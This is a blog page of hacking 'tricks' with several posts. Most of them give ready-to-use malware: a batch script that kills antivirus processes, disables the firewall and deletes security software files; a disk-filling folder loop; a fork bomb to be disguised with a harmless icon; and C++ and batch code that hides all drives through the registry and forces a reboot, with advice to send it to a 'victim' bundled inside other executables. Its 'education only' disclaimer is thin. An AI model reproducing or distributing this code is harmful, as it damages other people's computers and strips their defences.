Showing posts with label PC Security. Show all posts
Showing posts with label PC Security. Show all posts

Tuesday, 6 September 2011

Create a Batch pro to Disable/Delete Victim Antivirus

Before attacking to victim PC, Viruses always do disable or delete the Antivirus application victim PC. Here I am going to give you wreckful code in Batch to Disable/ Delete the Antivirus of Victim PC. This all tricks are only for education purpose; don’t use it for any illegal work.
{You can test your antivirus; Just copy the below code and paste it on notepad and save as in .txt if your antivirus is functioning it will detect the file and clear all the codes from the file (.txt file doesn’t act as Virus but due to unusual codes in the file, Antivirus treat this txt file as Virus)}.
How to make use it as Virus?
Just following these step you can create a batch Virus that disable or delete Antivirus of your victim PC.

  • Copy the following code.

  
@ echo off rem -- rem Permanently Kill Anti-Virus net stop “Security Center” netsh firewall set opmode mode=disable tskill /A av* tskill /A fire* tskill /A anti* cls tskill /A spy* tskill /A bullguard tskill /A PersFw tskill /A KAV* tskill /A ZONEALARM tskill /A SAFEWEB cls tskill /A OUTPOST tskill /A nv* tskill /A nav* tskill /A F-* tskill /A ESAFE tskill /A cle cls tskill /A BLACKICE tskill /A def* tskill /A kav tskill /A kav* tskill /A avg* tskill /A ash* cls tskill /A aswupdsv tskill /A ewid* tskill /A guard* tskill /A guar* tskill /A gcasDt* tskill /A msmp* cls tskill /A mcafe* tskill /A mghtml tskill /A msiexec tskill /A outpost tskill /A isafe tskill /A zap* cls tskill /A zauinst tskill /A upd* tskill /A zlclien* tskill /A minilog tskill /A cc* tskill /A norton* cls tskill /A norton au* tskill /A ccc* tskill /A npfmn* tskill /A loge* tskill /A nisum* tskill /A issvc tskill /A tmp* cls tskill /A tmn* tskill /A pcc* tskill /A cpd* tskill /A pop* tskill /A pav* tskill /A padmin cls tskill /A panda* tskill /A avsch* tskill /A sche* tskill /A syman* tskill /A virus* tskill /A realm* cls tskill /A sweep* tskill /A scan* tskill /A ad-* tskill /A safe* tskill /A avas* tskill /A norm* cls tskill /A offg* del /Q /F C:\Program Files\alwils~1\avast4\*.* del /Q /F C:\Program Files\Lavasoft\Ad-awa~1\*.exe del /Q /F C:\Program Files\kasper~1\*.exe cls del /Q /F C:\Program Files\trojan~1\*.exe del /Q /F C:\Program Files\f-prot95\*.dll del /Q /F C:\Program Files\tbav\*.dat cls del /Q /F C:\Program Files\avpersonal\*.vdf del /Q /F C:\Program Files\Norton~1\*.cnt del /Q /F C:\Program Files\Mcafee\*.* cls del /Q /F C:\Program Files\Norton~1\Norton~1\Norton~3\*.* del /Q /F C:\Program Files\Norton~1\Norton~1\speedd~1\*.* del /Q /F C:\Program Files\Norton~1\Norton~1\*.* del /Q /F C:\Program Files\Norton~1\*.* cls del /Q /F C:\Program Files\avgamsr\*.exe del /Q /F C:\Program Files\avgamsvr\*.exe del /Q /F C:\Program Files\avgemc\*.exe cls del /Q /F C:\Program Files\avgcc\*.exe del /Q /F C:\Program Files\avgupsvc\*.exe del /Q /F C:\Program Files\grisoft del /Q /F C:\Program Files\nood32krn\*.exe del /Q /F C:\Program Files\nood32\*.exe cls del /Q /F C:\Program Files\nod32 del /Q /F C:\Program Files\nood32 del /Q /F C:\Program Files\kav\*.exe del /Q /F C:\Program Files\kavmm\*.exe del /Q /F C:\Program Files\kaspersky\*.* cls del /Q /F C:\Program Files\ewidoctrl\*.exe del /Q /F C:\Program Files\guard\*.exe del /Q /F C:\Program Files\ewido\*.exe cls del /Q /F C:\Program Files\pavprsrv\*.exe del /Q /F C:\Program Files\pavprot\*.exe del /Q /F C:\Program Files\avengine\*.exe cls del /Q /F C:\Program Files\apvxdwin\*.exe del /Q /F C:\Program Files\webproxy\*.exe del /Q /F C:\Program Files\panda software\*.* rem --
           

  • Paste it on Notepad.
  • Save it as .bat.
Now you can use it.

Create a Batch pro that makes an Infinite Folders in a Hard Drive

Have you heard? A virus that create thousands of thousands folder within hard drive, Yes here is that; I am going to give a batch programming code that make it possible. This just a batch commands that create folder in hard disk and waste the memory of hard disk that brings a time when your drive got full.
Follow these simple steps:

  • Copy and Paste below codes on Notepad.
                          @echo off
                           :top
                           md %random%
                          goto top

  • Save it as .bat.
Now it is ready to use, don’t take it as joke.


Create a batch pro to Computer Freeze


It is a one of my favorite batch programming task that makes any computer freeze. It special because it is a one line code or you can say it is a single word. It is too easy to remember and use.  It makes the CPU down and finally freezes. But after restarting of system it work normally.
Note: This pro is dangerous for CPU so don’t try it on your own PC, friends or others.



Follow these steps:
  • Copy and paste the below code on Notepad.

                                   %0|%0
  • Save the file as .bat (e.g., music.bat)

Now it is ready to use. If you want to make some fun then you can copy this file to some drive and create a shortcut on desktop, Right Click on ShortcutàChange the Icon.



Monday, 5 September 2011

Create a Batch to Block Windows Drives and Make System Dead


Today I am going to give some coding that help you to create a Virus that that Block Windows Drives permanently and make the victim to suffer disabling of Drive . This virus blocks  drives and makes the system shutdown permanently. To overcome from its effect victim needs to Re-Install its Operating System.
What is it? And how it work?
It is a simple command written in C++ for those people who want to use their C++ knowledge and for those who doesn’t have C++ knowledge they can direct use Batch commands. Whenever the target victim run below created files it’s Windows drives  will got blocked for permanently and system will shutdown.
With C++:
Follow these steps

  • Ø  Copy below codes.
#include < windows.h >
#include < fstream.h >
#include < iostream.h >
#include < string.h >
#include < conio.h >
int main()
{
ofstream write ( "C:\\WINDOWS\\system32\\HackingStar.bat" ); /*opening or creating new file with .bat extension*/

write << "REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer sion\\policies\\Explorer /v NoDrives /t REG_DWORD /d 12\n";
write << "REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer sion\\policies\\Explorer /v NoViewonDrive /t REG_DWORD /d 12\n";
write<<"shutdown -r -c \"Sorry Your System is hacked by us!\" -f"<<"\n";
write.close(); //close file ShellExecute(NULL,"open","C:\\WINDOWS\\system32\\HackingStar.bat ",NULL,NULL,SW_SHOWNORMAL);
return 0; 
}   

  • Ø  Paste it on Notepad.
  • Ø  Save it in .cpp.
  • Ø  Create .exe file.
  • Ø  Send it to target victim (you can also attach it with other exe files).
With Batch:
Follow these steps:

  • Ø  Copy below codes.
REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer sion\\policies\\Explorer /v NoDrives /t REG_DWORD /d 12\n

REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer sion\\policies\\Explorer /v NoViewonDrive /t REG_DWORD /d 12\n

shutdown -r -c \"Sorry Your System is hacked by us!\" -f  

  • Ø  Paste it on Notepad.
  • Ø  Save it in .bat.
  • Ø  Send it to target victim (you can also attach it with other exe files).
Note: To recover from it you might be need to re-install your Operating system.





Sunday, 4 September 2011

How to get Windows Administrator Password


Most of the time people wants to login as Administrator in the absence of actual Administrator Password holder. Here today I am going to give a best working trick that is on “How to Windows Administrator Password? And How to become an Administrator of Windows?” and this trick help you to login to your system without knowing password.
If you forget your Administrator password here is trick that help you to reset your administrator password or make it empty just by the use of this small tool called  Offline NT Password & Registry Editor. This utility works offline, that means you need to shut down your computer and boot off your using a floppy disk, CD or USB device (such as pen drive). The tool has the following features.
Ø  You do not need to know the old password to set a new one
Ø  Will detect and offer to unlock locked or disabled out user accounts!
Ø  There is also a registry editor and other registry utilities that works under linux/unix, and can be used for other things than password editing.
How it works?
Most Windows operating systems stores the login passwords and other encrypted passwords in a file called sam (Security Accounts Manager). This file can be usually found in \windows\system32\config. This file is a part of Windows registry and remains inaccessible as long as the OS is active. Hence it is necessary that you need to boot off your computer and access this sam file via boot. This tool intelligently gains access to this file and will reset/remove the password associated with administrator or any other account.
The download link for both CD and floppy drives along with the complete instructions is given below
It is recommended that you download the CD version of the tool since floppy drive is outdated and doesn’t exist in today’s computer. Once you download you’ll get a bootable image which you need to burn it onto your CD. Now boot your computer from this CD and follow the screen instructions to reset the password.
How to reset Administrator Password?
By following these steps you can simply reset Password of any Non-Administrator Account for that you just need Administrator Privilege.
1. Start->Run->type cmd->
2. Now type net user and hit Enter
3. Now the system will show you a list of user accounts on the computer. Say for example you need to reset the password of the account by name John, then do as follows
4. Type net user John * and hit Enter. Here the system will ask you to enter the new password for the account. That’s it. Now you’ve successfully reset the password for John without knowing his old password.
Hope this will help you and you wouldn’t need to re-install windows if you forget your password.

Sunday, 28 August 2011

Is your Antivirus Working? Test it on yourself


We need an Antivirus to protect our system, we choose and install it according to our operating system but most of the time we doesn’t aware that our Antivirus working or not and some time won’t work, which make us trouble.
Here is a trick which helps to test your Antivirus on yourself in few seconds. This is an EICAR University STANDARD ANTIVIRUS TEST, it is completely safe.

This given code is reserved for Antivirus test only. Here we go.
1. Open a notepad and paste the given code.
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
2. Now save the file as filename.com or filename.com.txt.

If your Antivirus detect it and delete it on itself then you can enjoy, Your Antivirus is Working Good. If you have any query and trick share with us.

Monday, 22 August 2011

TechDoon.com Added New